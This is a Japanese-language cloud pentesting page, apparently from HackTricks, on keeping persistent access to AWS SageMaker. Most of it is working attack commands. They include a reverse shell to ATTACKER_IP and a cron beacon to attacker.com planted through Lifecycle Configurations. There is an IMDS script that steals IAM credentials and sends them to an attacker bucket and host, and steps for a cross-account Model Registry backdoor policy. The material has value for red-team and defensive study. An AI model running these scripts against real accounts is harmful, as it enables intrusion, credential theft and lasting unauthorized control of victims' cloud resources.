# AWS - SageMaker Persistence

{{#include ../../../../banners/hacktricks-training.md}}

## Persistence Techniques の概要

このセクションでは、Lifecycle Configurations (LCCs) を悪用して SageMaker 上で persistence を確保する方法を説明します。対象には reverse shells、cron jobs、credential theft via IMDS、SSH backdoors などが含まれます。これらのスクリプトはインスタンスの IAM role として実行され、再起動後も persistence を維持できます。ほとんどの手法はアウトバウンド ネットワークアクセスを必要としますが、環境が 'VPC-only' モードであっても AWS control plane 上のサービスを利用することで成功する場合があります。

> [!TIP]
> 注意: SageMaker notebook instances は本質的に、機械学習ワークロード向けに特化した管理された EC2 インスタンスです。

## 必要な権限
* Notebook Instances:
```
sagemaker:CreateNotebookInstanceLifecycleConfig
sagemaker:UpdateNotebookInstanceLifecycleConfig
sagemaker:CreateNotebookInstance
sagemaker:UpdateNotebookInstance
```
* Studio アプリケーション:
```
sagemaker:CreateStudioLifecycleConfig
sagemaker:UpdateStudioLifecycleConfig
sagemaker:UpdateUserProfile
sagemaker:UpdateSpace
sagemaker:UpdateDomain
```
## ノートブックインスタンスのライフサイクル構成を設定する

### AWS CLI コマンドの例:
```bash
# Create Lifecycle Configuration*

aws sagemaker create-notebook-instance-lifecycle-config \
--notebook-instance-lifecycle-config-name attacker-lcc \
--on-start Content=$(base64 -w0 reverse_shell.sh)


# Attach Lifecycle Configuration to Notebook Instance*

aws sagemaker update-notebook-instance \
--notebook-instance-name victim-instance \
--lifecycle-config-name attacker-lcc
```
## SageMaker Studio で Lifecycle Configuration を設定する

Lifecycle Configurations は SageMaker Studio 内のさまざまなレベルや異なるアプリタイプにアタッチできます。

### Studio Domain Level（全ユーザー）
```bash
# Create Studio Lifecycle Configuration*

aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-studio-lcc \
--studio-lifecycle-config-app-type JupyterServer \
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)


# Apply LCC to entire Studio Domain*

aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
"JupyterServerAppSettings": {
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
}
}'
```
### Studio Space レベル（個人または共有スペース）
```bash
# Update SageMaker Studio Space to attach LCC*

aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
"JupyterServerAppSettings": {
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
}
}'
```
## Studio アプリケーションのライフサイクル構成の種類

ライフサイクル構成は、異なる SageMaker Studio アプリケーションタイプに個別に適用できます:
* JupyterServer: Jupyter server の起動時にスクリプトを実行します。reverse shells や cron jobs のような persistence メカニズムに最適です。
* KernelGateway: kernel gateway アプリの起動時に実行され、initial setup や persistent access に有用です。
* CodeEditor: Code Editor (Code-OSS) に適用され、コード編集セッション開始時に実行されるスクリプトを有効にします。

### Example Command for Each Type:

### JupyterServer
```bash
aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-jupyter-lcc \
--studio-lifecycle-config-app-type JupyterServer \
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
```
### KernelGateway
```bash
aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-kernelgateway-lcc \
--studio-lifecycle-config-app-type KernelGateway \
--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)
```
### コードエディタ
```bash
aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-codeeditor-lcc \
--studio-lifecycle-config-app-type CodeEditor \
--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)
```
### 重要な情報:
* ドメインまたはスペースレベルでLCCsをアタッチすると、対象範囲内のすべてのユーザーまたはアプリケーションに影響します。
* これにはより高い権限（sagemaker:UpdateDomain、sagemaker:UpdateSpace）が必要で、通常はドメインレベルよりスペースレベルでの実行が現実的です。
* ネットワークレベルの制御（例：strict egress filtering）は、成功するreverse shellsやdata exfiltrationを防ぐことができます。

## Reverse Shell via Lifecycle Configuration

SageMaker Lifecycle Configurations (LCCs) は、notebook instances が起動するとカスタムスクリプトを実行します。権限を持つ攻撃者は永続的な reverse shell を確立できます。

### Payload Example:
```
#!/bin/bash
ATTACKER_IP="<ATTACKER_IP>"
ATTACKER_PORT="<ATTACKER_PORT>"
nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &
```
## Cron Job Persistence via Lifecycle Configuration

攻撃者は LCC scripts を介して cron jobs を注入でき、悪意あるスクリプトやコマンドを定期的に実行させることで、ステルスな persistence を実現できます。

### Payload Example:
```
#!/bin/bash
PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
CRON_JOB="*/30 * * * * $CRON_CMD"

mkdir -p /home/ec2-user/SageMaker/.local_tasks
echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
chmod +x $PAYLOAD_PATH

(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -
```
## IMDS (v1 & v2) 経由の資格情報持ち出し

ライフサイクル構成は Instance Metadata Service (IMDS) を照会して IAM 資格情報を取得し、攻撃者が制御する場所に持ち出すことができます。

### ペイロード例:
```bash
#!/bin/bash
ATTACKER_BUCKET="s3://attacker-controlled-bucket"
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json

# Exfiltrate via S3*

aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json

# Alternatively, exfiltrate via HTTP POST*

curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
```
## Model Registry リソースポリシー経由の永続化 (PutModelPackageGroupPolicy)

SageMaker Model Package Group のリソースベースポリシーを悪用して、外部プリンシパルにクロスアカウント権限（例: CreateModelPackage/Describe/List）を付与します。これにより、攻撃者の IAM ユーザー/ロールが被害者アカウントから削除されても、マルウェア化したモデルのバージョンをプッシュしたり、モデルのメタデータやアーティファクトを読み取ったりできる耐久性のあるバックドアが作成されます。

必要な権限
- sagemaker:CreateModelPackageGroup
- sagemaker:PutModelPackageGroupPolicy
- sagemaker:GetModelPackageGroupPolicy

手順（us-east-1）
```bash
# 1) Create a Model Package Group
REGION=${REGION:-us-east-1}
MPG=atk-mpg-$(date +%s)
aws sagemaker create-model-package-group \
--region "$REGION" \
--model-package-group-name "$MPG" \
--model-package-group-description "Test backdoor"

# 2) Craft a cross-account resource policy (replace 111122223333 with attacker account)
cat > /tmp/mpg-policy.json <<JSON
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowCrossAccountCreateDescribeList",
"Effect": "Allow",
"Principal": {"AWS": ["arn:aws:iam::111122223333:root"]},
"Action": [
"sagemaker:CreateModelPackage",
"sagemaker:DescribeModelPackage",
"sagemaker:DescribeModelPackageGroup",
"sagemaker:ListModelPackages"
],
"Resource": [
"arn:aws:sagemaker:${REGION}:<VICTIM_ACCOUNT_ID>:model-package-group/${MPG}",
"arn:aws:sagemaker:${REGION}:<VICTIM_ACCOUNT_ID>:model-package/${MPG}/*"
]
}
]
}
JSON

# 3) Attach the policy to the group
aws sagemaker put-model-package-group-policy \
--region "$REGION" \
--model-package-group-name "$MPG" \
--resource-policy "$(jq -c . /tmp/mpg-policy.json)"

# 4) Retrieve the policy (evidence)
aws sagemaker get-model-package-group-policy \
--region "$REGION" \
--model-package-group-name "$MPG" \
--query ResourcePolicy --output text
```
注意
- 実際のクロスアカウントバックドアの場合、Resource を特定のグループ ARN に限定し、Principal には攻撃者の AWS アカウント ID を使用してください。
- エンドツーエンドのクロスアカウント展開やアーティファクト読み取りの場合、S3/ECR/KMS の権限を攻撃者のアカウントに合わせて設定してください。

影響
- Model Registry グループの永続的なクロスアカウント制御: 攻撃者は悪意のあるモデルバージョンを公開したり、被害者アカウントで IAM エンティティが削除された後でもモデルのメタデータを列挙/読み取ることができます。

## Canvas のクロスアカウント Model Registry バックドア (UpdateUserProfile.ModelRegisterSettings)

SageMaker Canvas のユーザー設定を悪用し、ModelRegisterSettings を有効にして CrossAccountModelRegisterRoleArn を別アカウントの攻撃者ロールに指定することで、model registry への書き込みを攻撃者が制御するアカウントに密かにリダイレクトします。

必要な権限
- ターゲットの UserProfile に対する sagemaker:UpdateUserProfile
- オプション: 自分が管理する Domain に対する sagemaker:CreateUserProfile

{{#include ../../../../banners/hacktricks-training.md}}
